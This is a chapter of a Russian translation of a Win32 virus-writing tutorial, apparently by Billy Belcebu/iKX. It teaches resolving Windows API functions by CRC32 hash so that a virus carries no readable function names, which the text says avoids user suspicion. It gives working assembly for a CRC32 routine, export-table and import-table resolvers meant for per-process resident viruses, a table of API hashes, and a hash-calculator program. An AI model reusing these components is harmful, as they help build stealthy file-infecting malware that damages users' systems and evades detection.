Путеводитель по написанию вирусов под Win32

CRC32 (IT/ET)


Мы все знаем (по крайней мере, я надеюсь на это) как написать движок поиска API-функций. Это довольно легко, и существует множество туториалов из которых вы можете выбирать (туториалы JHB, Lord Julus'а, этот туториал...), просто найдите один из них и изучите. Но как вы уже поняли, это займет много места в вашем вирусе (из-за имен функций). Как решить эту проблему, если вы хотите написать маленький вирус?

Решение: CRC32

Я верю, что первым эту технику использовал GriYo в своем потрясающем вирусе Win32.Parvo (исходники которого еще не зарелизены). Вместо поиска совпадающих по именам функций он получает их CRC32 и сравнивает с теми, которые заложены в нем. Если происходит совпадение, то дальше все как обычно. Ок, ок... прежде всего вам нужно поглядеть на код, получающий CRC32 :). Давайте возьмем код Zheng[i, переработанный сначала Vecna, а потом мной (оптимизировал пару байтов) ;).

;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедура получения CRC32 ; ------------------------- ; ; на входе: ; ESI = смещение, блока байтов, чей CRC32 должен быть вычислен ; EDI = размер этого блока ; на выходе: ; EAX = CRC32 данного блока ;

CRC32 proc cld xor ecx,ecx ; Оптимизировано мно - на 2 dec ecx ; байта меньше mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi ; на 1 байт меньше jnz NextByteCRC not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret CRC32 endp ;---[ CUT HERE ]-------------------------------------------------------------

Хорошо, теперь мы знаем, как получить этот чертов CRC32 определенной строки и/или кода. Но вы ждете здесь другого... хехехе, да! Вы ждете код движка поиска API-функций :).

;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедура GetAPI_ET_CRC32 ; ------------------------- ; ; Хех, сложное имя? Эта процедура ищет имя API-функции в таблице экспортов ; KERNEL32 (после небольших изменений она будет работать для любой DLL), но ; теперь требуется только CRC32 API-функции, а не вся строка :). Также ; потребуется процедура для получения CRC32 вроде той, которую я привел выше. ; ; на входе: ; EAX = CRC32 имени функции в формате ASCIIz ; на выходе: ; EAX = адрес API-функции ;


GetAPI_ET_CRC32 proc xor edx,edx xchg eax,edx ; Помещаем CRC32 функции в EDX mov word ptr [ebp+Counter],ax ; Сбрасываем счетчик mov esi,3Ch add esi,[ebp+kernel] ; Получаем PE-заголовок KERNEL32 lodsw add eax,[ebp+kernel] ; Нормализуем

mov esi,[eax+78h] ; Получаем указатель на add esi,1Ch ; таблицу экспортов add esi,[ebp+kernel]

lea edi,[ebp+AddressTableVA] ; Указатель на таблицу адресов lodsd ; Получаем значение AddressTable add eax,[ebp+kernel] ; Нормализуем stosd ; И сохраняем в ее переменной

lodsd ; Получаем значение NameTable add eax,[ebp+kernel] ; Нормализуем push eax ; Помещаем ее на стек stosd ; Сохраняем в ее переменной

lodsd ; Получаем значение OrdinalTable add eax,[ebp+kernel] ; Нормализуем stosd ; Сохраняем

pop esi ; ESI = NameTable VA

@?_3: push esi ; Снова сохраняем lodsd ; Получ. указ. на имя API-ф-ции add eax,[ebp+kernel] ; Нормализуем xchg edi,eax ; Сохраняем указатель в EDI mov ebx,edi ; И в EBX

push edi ; Сохраняем EDI xor al,al ; Доходим до NULL'а scasb ; Это конец имени API-функции jnz $-1 pop esi ; ESI = Указ. на имя API-ф-ции

sub edi,ebx ; EDI = Размер имени API-ф-ции



push edx ; Сохраняем CRC32 функции call CRC32 ; Получаем текущий CRC функции pop edx ; Восстанавливаем CRC32 функции cmp edx,eax ; Они совпадают? jz @?_4 ; Если да, это то, что нам надо

pop esi ; Восст. указ. на имя функции add esi,4 ; Переходим к следующему inc word ptr [ebp+Counter] ; И увеличиваем знач. счетчика jmp @?_3 ; Получаем следующую API-ф-цию! @?_4: pop esi ; Убираем мусор из стека movzx eax,word ptr [ebp+Counter] ; AX = счетчик shl eax,1 ; *2 (это массив слов) add eax,dword ptr [ebp+OrdinalTableVA] ; Нормализуем xor esi,esi ; Очищаем ESI xchg eax,esi ; ESI = Указ. на ординал; EAX=0 lodsw ; В AX получаем ординал shl eax,2 ; И с его помощью переходим к add eax,dword ptr [ebp+AddressTableVA] ; AddressTable (массив xchg esi,eax ; двойных слов) lodsd ; Получаем адресс API RVA add eax,[ebp+kernel] ; и нормализуем!! Все! ret GetAPI_ET_CRC32 endp

AddressTableVA dd 00000000h ;\ NameTableVA dd 00000000h ; &rt; В ЭТОМ ПОРЯДКЕ!! OrdinalTableVA dd 00000000h ;/



kernel dd 0BFF70000h ; Подгоните под свои нужды ;) Counter dw 0000h ;---[ CUT HERE ]-------------------------------------------------------------

Далее следует эквивалентный код, но работающий с таблицей импортов. Таким образом вы сможете написать перпроцессный резидент с помощью одних только CRC32 имен API-функций ;).

;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедура GetAPI_IT_CRC32 ; ------------------------- ; ; Эта процедура ищет в таблице импортов API-функция, CRC32 которой совпадает ; с переданным процедуре. Это полезно для создания перпроцессных резидентов ; (смотри главу "Перпроцессная резидентность" в данном туториале). ; ; на входе: ; EAX = CRC32 имени API-функции в формате ASCIIz ; на выходе: ; EAX = адрес API-функции ; EBX = указатель на адрес API-функции в таблице импортов ; CF = устанавливаем, если вызов функции не удался ;

GetAPI_IT_CRC32 proc mov dword ptr [ebp+TempGA_IT1],eax ; Сохранить CRC32 API-функции ; на будущее

mov esi,dword ptr [ebp+imagebase] ; ESI = база образа add esi,3Ch ; Получ. указ. на PE-заголовок lodsw ; AX = тот указатель cwde ; Очищаем MSW EAX'а add eax,dword ptr [ebp+imagebase] ; Нормализуем указатель xchg esi,eax ; ESI = такой указатель lodsd ; Получаем DWORD

cmp eax,"EP" ; Это метка PE? jnz nopes ; Нет... duh!

add esi,7Ch ; ESI = PE-заголовок+80h lodsd ; Ищем .idata push eax lodsd ; Получаем размер mov ecx,eax pop esi add esi,dword ptr [ebp+imagebase] ; Нормализуем

SearchK32: push esi ; Сохраняем ESI в стек mov esi,[esi+0Ch] ; ESI = указатель на имя add esi,dword ptr [ebp+imagebase] ; Нормализуем lea edi,[ebp+K32_DLL] ; Указатель на 'KERNEL32.dll' mov ecx,K32_Size ; Размер строки cld ; Очищаем флаг направления push ecx ; Сохраняем ECX rep cmpsb ; Сохраняем байты pop ecx ; Восстанавливаем ECX pop esi ; Восстанавливаем ESI jz gotcha ; Были ли они равны? Черт... add esi,14h ; Получаем другое поле jmp SearchK32 ; И ищем снова gotcha: cmp byte ptr [esi],00h ; Это OriginalFirstThunk 0? jz nopes ; Проклятье, если так... mov edx,[esi+10h] ; Получаем FirstThunk add edx,dword ptr [ebp+imagebase] ; Нормализуем lodsd ; Получаем его or eax,eax ; Это 0? jz nopes ; Проклятье...



xchg edx,eax ; Получаем указатель на него add edx,[ebp+imagebase] xor ebx,ebx loopy: cmp dword ptr [edx+00h],00h ; Последний RVA? jz nopes ; Проклятье... cmp byte ptr [edx+03h],80h ; Ординал? jz reloop ; Проклятье...

mov edi,[edx] ; Получаем указатель на add edi,dword ptr [ebp+imagebase] ; импортированную API-функцию inc edi inc edi mov esi,edi ; ESI = EDI

pushad ; Сохраняем все регистры eosz_edi ; В EDI получаем конец строки sub edi,esi ; EDI = размер имени функции

call CRC32 mov [esp+18h],eax ; В ECX - результат после POPAD popad

cmp dword ptr [ebp+TempGA_IT1],ecx ; CRC32 данной API-функции jz wegotit ; совпадает с той, которая ; нам нужна? reloop: inc ebx ; Если, совершаем следующий add edx,4 ; проход и ищем нужную функцию ; в таблице импортов loop loopy wegotit: shl ebx,2 ; Умножаем на 4 add ebx,eax ; Добавляем FirstThunk mov eax,[ebx] ; EAX = адрес API-функции test al,00h ; Пересечение: избегаем STC :) org $-1 nopes: stc ret GetAPI_IT_CRC32 endp

TempGA_IT1 dd 00000000h imagebase dd 00400000h K32_DLL db "KERNEL32.dll",0 K32_Size equ $-offset K32_DLL

;---[ CUT HERE ]-------------------------------------------------------------

Вы счастливы? Это рульно и легко! И, конечно, вы можете избежать возможных подозрений пользователя относительно вашего вируса (если то не зашифрован), так нет видимых имен API-функций :). Далее я перечислю CRC32 некоторых API-функций (включая NULL в конце имени), но если вы захотите узнать CRC32 другой функции, то вы сможете это сделать с помощью маленькой программки, исходник которой я также прилагаю.

CRC32 некоторых API-функций:

Имя API-функции CRC32 Имя API-функции CRC32 --------------- ----- --------------- ----- CreateFileA 08C892DDFh CloseHandle 068624A9Dh FindFirstFileA 0AE17EBEFh FindNextFileA 0AA700106h FindClose 0C200BE21h CreateFileMappingA 096B2D96Ch GetModuleHandleA 082B618D4h GetProcAddress 0FFC97C1Fh MapViewOfFile 0797B49ECh UnmapViewOfFile 094524B42h GetFileAttributesA 0C633D3DEh SetFileAttributesA 03C19E536h ExitProcess 040F57181h SetFilePointer 085859D42h SetEndOfFile 059994ED6h DeleteFileA 0DE256FDEh GetCurrentDirectoryA 0EBC6C18Bh SetCurrentDirectoryA 0B2DBD7DCh GetWindowsDirectoryA 0FE248274h GetSystemDirectoryA 0593AE7CEh LoadLibraryA 04134D1ADh GetSystemTime 075B7EBE8h CreateThread 019F33607h WaitForSingleObject 0D4540229h ExitThread 0058F9201h GetTickCount 0613FD7BAh FreeLibrary 0AFDF191Fh WriteFile 021777793h GlobalAlloc 083A353C3h GlobalFree 05CDF6B6Ah GetFileSize 0EF7D811Bh ReadFile 054D8615Ah GetCurrentProcess 003690E66h GetPriorityClass 0A7D0D775h SetPriorityClass 0C38969C7h FindWindowA 085AB3323h PostMessageA 086678A04h MessageBoxA 0D8556CF7h RegCreateKeyExA 02C822198h RegSetValueExA 05B9EC9C6h MoveFileA 02308923Fh CopyFileA 05BD05DB1h GetFullPathNameA 08F48B20Dh WinExec 028452C4Fh CreateProcessA 0267E0B05h _lopen 0F2F886E3h MoveFileExA 03BE43958h CopyFileExA 0953F2B64h OpenFile 068D8FC46h



Вам нужен CRC32 другой функции?

Это вполне возможно, поэтому я прилагаю исходник маленькой, но эффективной программы, которую я сделал сам для себя. Надеюсь, что вам она также будет полезной.

;---[ CUT HERE ]-------------------------------------------------------------

.586 .model flat .data

extrn ExitProcess:PROC extrn MessageBoxA:PROC extrn GetCommandLineA:PROC

titulo db "GetCRC32 by Billy Belcebu/iKX",0

message db "SetEndOfFile" ; Поместите здесь строку, чей ; CRC32 вам нужно узнать _ db 0 db "CRC32 is " crc32_ db "00000000",0

.code

test: mov edi,_-message lea esi,message ; Загружаем указатель на имя ; API-функции call CRC32 ; Получаем CRC32

lea edi,crc32_ ; Конвертируем hex в текст call HexWrite32

mov _," " ; Пусть 0 станет пробелом

push 00000000h ; Отображаем messagebox с push offset titulo ; именем API-функции и ее CRC32 push offset message push 00000000h call MessageBoxA

push 00000000h call ExitProcess

HexWrite8 proc ; Этот код был взят из носителя mov ah,al ; 1-ого поколения вируса and al,0Fh ; Bizatch shr ah,4 or ax,3030h xchg al,ah cmp ah,39h ja @@4 @@1: cmp al,39h ja @@3 @@2: stosw ret @@3: sub al,30h add al,'A' - 10 jmp @@2 @@4: sub ah,30h add ah,'A' - 10 jmp @@1 HexWrite8 endp

HexWrite16 proc push ax xchg al,ah call HexWrite8 pop ax call HexWrite8 ret HexWrite16 endp

HexWrite32 proc push eax shr eax, 16 call HexWrite16 pop eax call HexWrite16 ret HexWrite32 endp

CRC32 proc cld xor ecx,ecx ; Оптимизировано мной - на 2 ; байта меньше dec ecx mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi ; на 1 байт меньше jnz NextByteCRC not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret CRC32 endp

end test ;---[ CUT HERE ]-------------------------------------------------------------

Круто, правда? :)


Содержание раздела